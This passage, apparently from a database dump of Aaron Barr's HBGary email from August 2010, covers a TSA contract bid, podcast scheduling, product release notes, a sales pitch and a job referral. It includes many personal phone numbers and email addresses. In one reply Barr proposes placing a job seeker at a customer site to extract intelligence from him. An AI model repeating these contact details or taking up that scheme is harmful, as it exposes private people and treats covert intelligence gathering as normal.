LinkedIn Corporation\r\n',2855,'aaron_hbgary_com/2855.html'),(10782,'2010-08-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008299.M631366P14101Q5637.eml','\"Beauchamp, Dale\" <Dale.Beauchamp@dhs.gov>,\"Beauchamp, Dale\" <Dale.Beauchamp@dhs.gov>','TSA ITSSS contract','Hi Dale\r\n \r\nThe HBGary Federal team is bidding on the ITSSS contract. \r\n \r\nThe team is intepreting that the products should be included in the contract.  Can you confirm if the contract is assuming Services only and hardware/software used will be limited\r\nto what TSA provides?  Or is there an option that hardware/software can be included as a line item with a cost on the bid, and/or that a vendor has the option to bundle hardware/software as part of their services?\r\n\r\n \r\nThanks,\r\n \r\nMaria\r\n \r\n \r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',554,'aaron_hbgary_com/554.html'),(10783,'2010-08-23','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008299.M856311P14101Q5638.eml','\"Aaron Barr\" <aaron@hbgary.com>','Eric','\r\n\r\n\r\n\r\n\r\nEric\r\n\r\n\r\n\r\n\r\nTouched base with Eric &#8211; he is onboard.&nbsp; I could hear his smile through the phone.&nbsp; He is definitely on.&nbsp; Great guy too.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',6150,'aaron_hbgary_com/6150.html'),(10784,'2010-08-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008300.M120711P14101Q5639.eml','\"Beauchamp, Dale\" <Dale.Beauchamp@dhs.gov>,\"Beauchamp, Dale\" <Dale.Beauchamp@dhs.gov>','October Conference','Dale\r\n \r\nMaybe this is of interest?  \r\n \r\nThe HBGary Federal team gave a presentation a few months back at the NSA REBL conference on Social Media, Exploitation, and Persistent Internet operations and have more conferences scheduled over the coming months on similar topics.  They emphasis effective use, risks, social media reconnaissance, and protective measures.  They would be happy to give a SM presentation if its fits within your conference objectives?\r\n\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',1753,'aaron_hbgary_com/1753.html'),(10785,'2010-08-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008300.M387396P14101Q5640.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: TSA ITSSS contract','Aaron\r\n \r\nDale is recommending we speak to the acquisition folks do you know who they are?\r\n \r\nMaria\r\n---------- Forwarded message ----------From: Beauchamp, Dale &lt;Dale.Beauchamp@dhs.gov&gt;\r\nDate: Mon, Aug 23, 2010 at 1:58 PMSubject: Re: TSA ITSSS contractTo: maria@hbgary.com\r\nThis is a question for the acquisitions folks have you asked them yet?\r\n\r\n\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt; To: Beauchamp, Dale &lt;Dale.Beauchamp@dhs.gov&gt; \r\nCc: Aaron Barr &lt;aaron@hbgary.com&gt; Sent: Mon Aug 23 16:52:34 2010Subject: TSA ITSSS contract \r\n\r\n\r\n\r\nHi Dale\r\n \r\nThe HBGary Federal team is bidding on the ITSSS contract. \r\n \r\nThe team is intepreting that the products should be included in the contract.  Can you confirm if the contract is assuming Services only and hardware/software used will be limited\r\nto what TSA provides?  Or is there an option that hardware/software can be included as a line item with a cost on the bid, and/or that a vendor has the option to bundle hardware/software as part of their services?\r\n\r\n \r\nThanks,\r\n \r\nMaria\r\n \r\n \r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',12108,'aaron_hbgary_com/12108.html'),(10786,'2010-08-23','\"Black Hat USA 2010\" <email@blackhat.messages4.com>','/aaron@hbgary.com/new/1297008300.M604259P14101Q5641.eml','aaron@hbgary.com','Complete Black Hat’s Survey for a Chance to Win','\r\nDear Aaron: \r\n\r\nThis is an invitation to take part \r\nin research for Black Hat. You are \r\nreceiving this invitation because \r\nyou have previously attended \r\nBlack Hat USA 2010.\r\n\r\nPlease take a few minutes to \r\ncomplete our survey and let us \r\nknow about your experience at \r\nBlack Hat USA 2010. \r\n\r\nYour feedback is very important \r\nto us, and we’d like to hear \r\nfrom you so that we can continue \r\nto create programs that suit \r\nyour needs.\r\n\r\nYour individual answers will \r\nnot be shared externally—data \r\nfrom this survey will be \r\naggregated and used in \r\nsummary form only. \r\n\r\nTo thank you for your time, \r\nrespondents who fully complete \r\nand submit their questionnaire \r\nwill be entered into a drawing \r\nto win a free Briefings Pass \r\nfor Black Hat USA 2011.\r\n\r\nClick the link below \r\nto go right to the survey.\r\nhttp://links.covertchannel.blackhat.com/ctt?kn=6&m=35718747&r=NTg3NjkwMzYzOQS2&b=2&j=ODAxOTk3MTAS1&mt=1&rt=0\r\n\r\n\r\nWant to see a presentation you \r\nmissed at Black Hat USA? Or see \r\nthe Keynote presentations again? \r\nClick here for information on \r\nBlack Hat Uplink On-Demand, \r\nnow just $195 with promo code BH80UL:\r\n>> http://links.covertchannel.blackhat.com/ctt?kn=2&m=35718747&r=NTg3NjkwMzYzOQS2&b=2&j=ODAxOTk3MTAS1&mt=1&rt=0\r\n\r\n>> Direct link to Black Hat \r\nUplink On-Demand Registration:\r\nhttp://links.covertchannel.blackhat.com/ctt?kn=7&m=35718747&r=NTg3NjkwMzYzOQS2&b=2&j=ODAxOTk3MTAS1&mt=1&rt=0\r\n\r\nOur next event -- Black Hat Abu Dhabi -- \r\nwill be held November 8-11, 2010.\r\n>> http://links.covertchannel.blackhat.com/ctt?kn=1&m=35718747&r=NTg3NjkwMzYzOQS2&b=2&j=ODAxOTk3MTAS1&mt=1&rt=0\r\n\r\nMark your calendars for Black Hat DC 2011 \r\nwhich will take place January 16-19, 2011.\r\n\r\nAll of us at Black Hat appreciate you \r\ntaking the time to complete our survey.\r\n>> http://links.covertchannel.blackhat.com/ctt?kn=3&m=35718747&r=NTg3NjkwMzYzOQS2&b=2&j=ODAxOTk3MTAS1&mt=1&rt=0\r\n\r\n\r\nThank you,\r\nThe Black Hat Event Team \r\n\r\n==========================================================\r\n\r\n(C) UBM TechWeb 2010. All Rights Reserved. Black Hat \r\nc/o TechWeb, 600 Harrison St., 6th Floor, San Francisco, \r\nCA 94107. TechWeb, Black Hat, and associated design \r\nmarks and logos are trademarks owned or used under \r\nlicense by United Business Media LLC, and may be \r\nregistered in the United States and other countries. \r\nOther names mentioned may be the trademark or service \r\nmark of their respective owners.\r\n\r\nThis email was sent to: aaron@hbgary.com. \r\n\r\nThis message is sent to qualified recipients who recently \r\nattended, or requested or downloaded information about \r\neither Black Hat or a related United Business Media event \r\nor publication or requested information about our events, \r\npublications and products.\r\n\r\nUnsubscribe from Black Hat USA.\r\nhttp://links.covertchannel.blackhat.com/ctt?kn=4&m=35718747&r=NTg3NjkwMzYzOQS2&b=2&j=ODAxOTk3MTAS1&mt=1&rt=0\r\n\r\nPlease do not reply to this email as replies are not being read.\r\n\r\nPrivacy Policy \r\nhttp://links.covertchannel.blackhat.com/ctt?kn=5&m=35718747&r=NTg3NjkwMzYzOQS2&b=2&j=ODAxOTk3MTAS1&mt=1&rt=0         \r\n\r\n',13986,'aaron_hbgary_com/13986.html'),(10787,'2010-08-23','\"Bart Hopper\" <bart.hopper@gmail.com>','/aaron@hbgary.com/new/1297008300.M943557P14101Q5642.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Securabit Information Security Podcast','Aaron,Sounds good. I have you down for 9/22 at 8:00pm Eastern. If you have any questions or if something comes up, please let me know.Bart &quot;d4ncingd4n&quot; HopperOn Mon, Aug 23, 2010 at 3:36 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSure sounds good.skype name: adbarrphone#: 7195108478\r\ne-mail address: aaron@hbgary.comtwitter id: aaronbarrFor some background:HBGary and HBGary Federal are separate &quot;sister&quot; companies.  HBGary Inc delivers malware analysis, incident response, threat intelligence, enterprise malware detection products.  HBGary Federal delivers services, mostly to government in those areas as well as one other area, information operations.  On the HBGary Federal side we are very focused right now on social media, understanding its benefits, effective uses, and vulnerabilities.\r\nLet me know if you need anything else.AaronOn Aug 23, 2010, at 11:45 AM, Bart Hopper wrote:\r\nAaron,Would you be available for the Securabit podcast on Wednesday, September 22 at 8:00pm Eastern time? Since Jason forwarded me the e-mail, I assume you are familiar with the podcast.\r\nWe record on alternate Wednesday nights at 8:00 Eastern time. We prefer to use Skype if possible. For audio quality purposes, it is recommended that you not use the microphone and speakers built-in to a notebook computer. (Inexpensive mic headsets that cost as little as $15 work fine) The show recording takes about 1 1/2 hours but is edited down (to remove dead air, noise, etc) to about an hour. The shows are generally released on the following Monday. During the show, the hosts and limited number of live listeners chat in the IRC channel irc://irc.freenode.net#securabit. Feel free to join if you wish.\r\n\r\nCan I get some information to setup the appearance on the calendar?Skype name:Backup phone number:e-mail address:Twitter id: (if you have one)If you have any questions, please let me know.\r\n\r\n\r\nRegards,Bart &quot;d4ncingd4n&quot; HopperAaron,Bart is our PR guy for the show and he&#39;ll be able to set\r\nup a time that works best for you.  Please let me know if you have any\r\nquestions and I&#39;ll be sure to help out where needed.  Bart,\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their products and upcoming events on their end.Looking forward to another great show!R/Jason MuellerCo-founder of SecuraBit LLC\r\n\r\nwww.SecuraBit.comOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Jason,\r\n\r\nThanks for the response.  Its a small community so please definitely stay in contact and I&#39;ll do the same.\r\nSure lets get on the phone or meet and talk about\r\nthe podcast, I can tell you a little about what we are up to and go\r\nfrom there.Let me know some good times.\r\nAaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\nAaron,Thanks\r\nfor your interest and yes I&#39;m familiar with HBGary. Our RE guys used it\r\nat my last customer site.  I just left Symantec in April and jumped on\r\nwith ArcSight which seems to be working out quite well. I&#39;ll keep your\r\ninfo handy and I&#39;m sure we&#39;ll bump into one another at some point in\r\nthe near future. In the meantime, any interest in sharing your product\r\nand thoughts with the SecuraBit podcast?  Let me know and I&#39;ll get a\r\ndate that works best for you. We record every other Wednesday at 8pm\r\nand average roughly 5k downloads per show.  Check out www.SecuraBit.com to see a list of prior guests. \r\nR/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.com\r\n\r\nCell: (540) 842-7019\r\n5 Results WayCupertino, CA 95014www.ArcSight.comSent from my iPhone, please excuse typos. \r\n\r\n\r\nArcSight Protect &#39;10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!\r\n\r\n\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\nAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\nThanks for accepting. I am not sure if you know much about HBGary or\r\nHBGary Federal. Leading HBGary Federal I am focused on improving\r\ncybersecurity leveraging key people, partnerships, technologies, and\r\nprocesses. I am looking to fill some key positions and would like to\r\ndiscuss them with you if your interested, if not at this time, no\r\nproblem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\n\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\nThank You,\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\n\r\n\r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n© 2010, LinkedIn Corporation\r\n\r\n',2751,'aaron_hbgary_com/2751.html'),(10788,'2010-08-23','\"Eric\" <eric@dreamseedbooks.com>','/aaron@hbgary.com/new/1297008303.M163388P14101Q5643.eml','\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com','Fwd: Asking a favor','\r\nInteresting email.\r\n\r\nSent from my iPhone\r\n\r\nBegin forwarded message:\r\n\r\n> From: Raleigh Warner \r\n> Date: August 23, 2010 3:37:29 PM MDT\r\n> To: Raleigh Warner \r\n> Subject: Asking a favor\r\n>\r\n\r\n> Hey there,\r\n>\r\n> I\'ve been in my current job for more than four years now and the  \r\n> drive is beginning to wear on me, even though it\'s currently only  \r\n> fours days a week and I work early enough to miss the bulk of the  \r\n> traffic.  I\'m sending you my current resume and I ask that you feel  \r\n> free to forward it to anyone you think might be interested in seeing  \r\n> it.  If you\'re eligible for a referral bonus then that\'s even better  \r\n> for you.\r\n>\r\n> There\'s no real hurry on this but it\'s always good to see what\'s out  \r\n> there and keep your options open.\r\n>\r\n> If you don\'t know anyone, or don\'t care, then no harm, no foul.\r\n>\r\n> Thanks,\r\n>\r\n> Raleigh\r\n>\r\n',405,'aaron_hbgary_com/405.html'),(10789,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008303.M546269P14101Q5644.eml','\"Eric\" <eric@dreamseedbooks.com>','Re: Asking a favor','Hmmmmm....I would forward it to Chris Clair. &nbsp;Raileigh has a photography background as well I think. &nbsp;His skills are not l33t by any means but you never know given his tickets. &nbsp;If they could find a place for him we might be able to get some non-operational intel out of him as well sitting onsite with the customer.:)AaronOn Aug 23, 2010, at 7:21 PM, Eric wrote:Interesting email.Sent from my iPhoneBegin forwarded message:From: Raleigh Warner &lt;fotoman@tropicalwarners.com&gt;Date: August 23, 2010 3:37:29 PM MDTTo: Raleigh Warner &lt;fotoman@tropicalwarners.com&gt;Subject: Asking a favorHey there,I\'ve been in my current job for more than four years now and the drive is beginning to wear on me, even though it\'s currently only fours days a week and I work early enough to miss the bulk of the traffic. &nbsp;I\'m sending you my current resume and I ask that you feel free to forward it to anyone you think might be interested in seeing it. &nbsp;If you\'re eligible for a referral bonus then that\'s even better for you.There\'s no real hurry on this but it\'s always good to see what\'s out there and keep your options open.If you don\'t know anyone, or don\'t care, then no harm, no foul.Thanks,Raleigh&lt;Raleigh_Warner_Resume.pdf&gt;',9553,'aaron_hbgary_com/9553.html'),(10790,'2010-08-23','\"Ben Koehl (LinkedIn Messages)\" <messages-noreply@linkedin.com>','/aaron@hbgary.com/new/1297008303.M911040P14101Q5645.eml','\"Aaron Barr\" <aaron@hbgary.com>','Introduction','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nBen Koehl has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/23/2010\r\n\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n\r\n\r\n  Hi Aaron,\r\n\r\n\r\n\r\nI believe you spoke recently with Mila Parkour over LinkedIn. She mentioned to me that HBGary is hiring infosec analysts in the DC Metro area. Does HBGary happen to have any positions that are geared towards people trying to break into the Information Security field? I was wondering if you had any time to talk over whichever medium you\'d prefer (skype chat, phone, etc.)\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\nBen Koehl\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',11182,'aaron_hbgary_com/11182.html'),(10791,'2010-08-23','\"Ben Koehl\" <benkoehl@gmail.com>','/aaron@hbgary.com/new/1297008304.M215524P14101Q5646.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Ben Koehl has indicated you are a fellow group member of CYBER SECURITY Forum Initiative - CSFI:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Ben Koehl\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Ben Koehl\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n    WHY MIGHT CONNECTING WITH BEN KOEHL BE A GOOD IDEA?\r\n    People Ben Koehl knows can discover your profile Connecting to Ben Koehl will attract the attention of LinkedIn users. See who\'s been viewing your profile.\r\n    &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',2092,'aaron_hbgary_com/2092.html'),(10792,'2010-08-24','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297008304.M444338P14101Q5647.eml','all@hbgary.com','Responder 2.0.0.0687 and Active Defense 1.1.0.222 are now live!','The patches and downloads for Responder Professional 2.0.0.0687 and Active Defense 1.1.0.222 are now live!The Active Defense release has many new features and bug fixes including:\r\nNew Feature: Timelines - This is a new feature added to the System Details that allows you to request an event timeline for the System Log, Internet Explorer browsing history, Prefetch Cache, and File System. Once a requested timeline becomes available you can toggle each event type on or off to filter out any events you don&#39;t want to see at that time. The Timeline feature can be accessed by clicking on a system to open up its System Detail page then clicking on the Timeline tab. To request a Timeline, use the Actions drop down menu.\r\nNew Feature: Changing the Agent Check-in Interval - This new setting found on the General Settings page allows you to set the agent check-in interval anywhere from one minute to 24 hours. This is useful if you have a large number of machines on your network and want to lighten the load on your server by having them check in less frequently.\r\nNew Feature: Day Selector for Daily Scans - In the Schedule Builder for Scan Policies you can now select which days you want your daily scans to run.New Feature: Safe Scan Time Window for Scan Policies - In the Schedule Builder for Scan Policies you can now specify a window of time where your scans can run safely. For example, you can set this Safe Scan Time Window to start at 10:00pm and end at 4:00am and your scans will only run in between this time. Note that if your scans run past this time window they will be automatically stopped (there will be a System Log entry for any scan that was stopped before completion).\r\nNew Feature: Added in Agent State column to the Systems page that displays the current state of the agent. This column combines all of the other status columns.New Feature: Exporting Selected Queries - You now have the option of exporting only selected queries or exporting all queries from either the Scan Policy page or Reports page.\r\nNew Feature: Minimum Score to Report - This is a new setting in the General Settings page that allows you to set the minimum score to report when doing a physical memory scan.Improved indexing to increase performance in Report generation.\r\nAny scheduled jobs will now start 15 minutes after the machine boots up if a user is logged in. This is to allow the machine to fully start up before any scans begin.Responder has the following enhancements and bug fixes:\r\nMade adjustments to reduce Responder&#39;s memory usage.Enhanced support in RECon for tracing Adobe PDF files.Bugfix for Timeline view: Fixed bug that caused crash when timeline was resized to a very small size.\r\n-Engineering Team\r\n',2407,'aaron_hbgary_com/2407.html'),(10793,'2010-08-24','\"Richard Montoya\" <richard.montoya@it-harvest.com>','/aaron@hbgary.com/new/1297008304.M783395P14101Q5648.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: IT-Harvest:  white paper on Advanced Persistent Threat','Hi Bob, do you have Penny\'s contact information handy?&nbsp; Thanks in advance.&nbsp;Kindest Regards, Richard D. Montoya Director of New Business Development richard.montoya@it-harvest.com http://twitter.com/rdmontoya http://www.linkedin.com/pub/0/718/364 (O) 203-826-7056 (M) 203-313-3315   Pre-order Surviving Cyber War on Amazon!\r\n Richard Stiennon Biography   Richard Stiennon, security expert and analyst, is known for shaking up the industry and providing actionable guidance to vendors and end users. He recently re-launched the security blog ThreatChaos.com and is the founder of IT-Harvest, an independent analyst firm that researches the 1,200 IT security vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading UTM vendor. Prior to that he was VP Threat Research at Webroot Software where he followed and wrote about the rising tide of spyware.   &nbsp;  Before Webroot, Mr. Stiennon was VP Research at Gartner Inc. where he covered security topics including firewalls, intrusion detection, intrusion prevention, security consulting, and managed security services for the Security and Privacy group. He is a holder of Gartner\'s Thought Leadership award and was named \"One of the 50\r\n most powerful people in Networking\" by NetworkWorld Magazine. In November 2009, he was named by SC Magazine as a security industry pioneer.   Stiennon\'s Blog:&nbsp; www.threatchaos.com  SC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/CRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq The NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt;    His ThreatChaos blog was re-launched in the fall of 2008 and garners 7,000+ page views a day. The author is followed by 18,100 people on Twitter and has a Twitter Grade of\r\n 99.96. The Twitter ID @cyberwar has 4,000 followers in the IT security field. The author also manages a LinkedIn Group of security leaders with 3,050 members and publishes the Data Protection Weekly email to 4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly emails to 34,000 people. From: Bob Slapnik &lt;bob@hbgary.com&gt;To: Richard Montoya &lt;richard.montoya@it-harvest.com&gt;Sent: Sun, July 4, 2010 11:58:47 AMSubject: RE: IT-Harvest:  white paper on\r\n Advanced Persistent Threat\r\n\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRichard, \r\n\r\n &nbsp; \r\n\r\nPenny decides how on what resources we use and where we spend\r\nmoney. \r\n\r\n &nbsp; \r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc. \r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419 \r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com \r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\n\r\n\r\nFrom: Richard Montoya\r\n[mailto:richard.montoya@it-harvest.com] \r\nSent: Saturday, July 03, 2010 12:29 PM\r\nTo: Bob Slapnik; aaron@hbgary.com\r\nSubject: Re: IT-Harvest: white paper on Advanced Persistent Threat \r\n\r\n\r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\nHi\r\nBob, is there anything we can assist you with at this time? \r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nKindest\r\nRegards, \r\n\r\nRichard D. Montoya \r\n\r\nDirector of New Business Development \r\nrichard.montoya@it-harvest.com\r\n\r\nhttp://twitter.com/rdmontoya \r\nhttp://www.linkedin.com/pub/0/718/364\r\n\r\n(O) 203-826-7056 \r\n(M) 203-313-3315  \r\n\r\n\r\n\r\n\r\n\r\nPre-order\r\nSurviving Cyber War on Amazon! \r\n\r\n\r\nRichard Stiennon Biography  \r\n\r\n\r\n\r\nRichard\r\nStiennon, security expert and analyst, is known for shaking up the industry and\r\nproviding actionable guidance to vendors and end users. He recently re-launched\r\nthe security blog ThreatChaos.com and is the founder of IT-Harvest, an\r\nindependent analyst firm that researches the 1,200 IT security vendors. He was\r\nChief Marketing Officer for Fortinet, Inc. the leading UTM vendor. Prior to\r\nthat he was VP Threat Research at Webroot Software where he followed and wrote\r\nabout the rising tide of spyware.  \r\n\r\n&nbsp; \r\n\r\n\r\n\r\nBefore\r\nWebroot, Mr. Stiennon was VP Research at Gartner Inc. where he covered security\r\ntopics including firewalls, intrusion detection, intrusion prevention, security\r\nconsulting, and managed security services for the Security and Privacy group.\r\nHe is a holder of Gartner\'s Thought Leadership award and was named \"One of\r\nthe 50 most powerful people in Networking\" by NetworkWorld Magazine. In\r\nNovember 2009, he was named by SC Magazine as a security industry pioneer.  \r\n\r\n\r\n\r\n\r\n\r\n\r\nStiennon\'s Blog:&nbsp; www.threatchaos.com \r\n\r\n\r\n\r\n\r\n\r\nSC\r\nMagazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/\r\nCRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq\r\n\r\nThe NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHis\r\nThreatChaos blog was re-launched in the fall of 2008 and garners 7,000+ page\r\nviews a day. The author is followed by 18,100 people on Twitter and has a\r\nTwitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers in the IT\r\nsecurity field. The author also manages a LinkedIn Group of security leaders\r\nwith 3,050 members and publishes the Data Protection Weekly email to 4,400\r\nsubscribers. He is in partnership with MiTechNews.com which sends weekly emails\r\nto 34,000 people.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik &lt;bob@hbgary.com&gt;\r\nTo: Richard Montoya &lt;richard.montoya@it-harvest.com&gt;;\r\naaron@hbgary.com\r\nSent: Sat, April 10, 2010 12:35:29 PM\r\nSubject: RE: IT-Harvest: white paper on Advanced Persistent Threat \r\n\r\n\r\n\r\nRichard, \r\n\r\n&nbsp; \r\n\r\nWe discussed the possibility of HBGary needing to write some\r\nwhitepapers and maybe farming it out.&nbsp; Penny makes those decisions.&nbsp;\r\nI’ll ask her if she wants help with it. \r\n\r\n&nbsp; \r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc. \r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419 \r\n\r\nwww.hbgary.com&nbsp;\r\n|&nbsp; bob@hbgary.com \r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nFrom: Richard Montoya\r\n[mailto:richard.montoya@it-harvest.com] \r\nSent: Friday, April 09, 2010 7:41 PM\r\nTo: aaron@hbgary.com; bob@hbgary.com\r\nSubject: IT-Harvest: white paper on Advanced Persistent Threat \r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, hello&nbsp;Bob.&nbsp; How was your meeting with\r\nRichard at Palantir?&nbsp; He mentioned you expressed interest in a white paper\r\non Advanced Persistent Threat.....how can we help you? \r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nKindest Regards, \r\n\r\nRichard D. Montoya \r\n\r\nDirector of New Business Development \r\nrichard.montoya@it-harvest.com \r\nhttp://twitter.com/rdmontoya\r\n\r\nhttp://www.linkedin.com/pub/0/718/364\r\n\r\n(O) 203-826-7056 \r\n(M) 203-313-3315  \r\n\r\n\r\n\r\n\r\n\r\nPre-order Surviving Cyber War on Amazon! \r\n\r\n\r\nRichard Stiennon Biography  \r\n\r\n\r\n\r\nRichard Stiennon, security expert and analyst, is known for\r\nshaking up the industry and providing actionable guidance to vendors and end\r\nusers. He recently re-launched the security blog ThreatChaos.com and is the\r\nfounder of IT-Harvest, an independent analyst firm that researches the 1,200 IT\r\nsecurity vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading\r\nUTM vendor. Prior to that he was VP Threat Research at Webroot Software where\r\nhe followed and wrote about the rising tide of spyware.  \r\n\r\n&nbsp; \r\n\r\n\r\n\r\nBefore Webroot, Mr. Stiennon was VP Research at Gartner Inc.\r\nwhere he covered security topics including firewalls, intrusion detection,\r\nintrusion prevention, security consulting, and managed security services for\r\nthe Security and Privacy group. He is a holder of Gartner\'s Thought Leadership\r\naward and was named \"One of the 50 most powerful people in\r\nNetworking\" by NetworkWorld Magazine. In November 2009, he was named by SC\r\nMagazine as a security industry pioneer.  \r\n\r\n\r\n\r\n\r\n\r\n\r\nStiennon\'s Blog:&nbsp; www.threatchaos.com \r\n\r\n\r\n\r\n\r\n\r\nSC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/\r\nCRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq\r\n\r\nThe NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHis ThreatChaos blog was re-launched in the fall of 2008 and garners\r\n7,000+ page views a day. The author is followed by 18,100 people on Twitter and\r\nhas a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers in\r\nthe IT security field. The author also manages a LinkedIn Group of security\r\nleaders with 3,050 members and publishes the Data Protection Weekly email to\r\n4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly\r\nemails to 34,000 people.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/09/10\r\n02:32:00 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 07/04/10 02:35:00 \r\n\r\n\r\n\r\n\r\n',4761,'aaron_hbgary_com/4761.html'),(10794,'2010-08-24','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297008305.M279546P14101Q5650.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: From Scott Sheldon and other cybernexus group members on 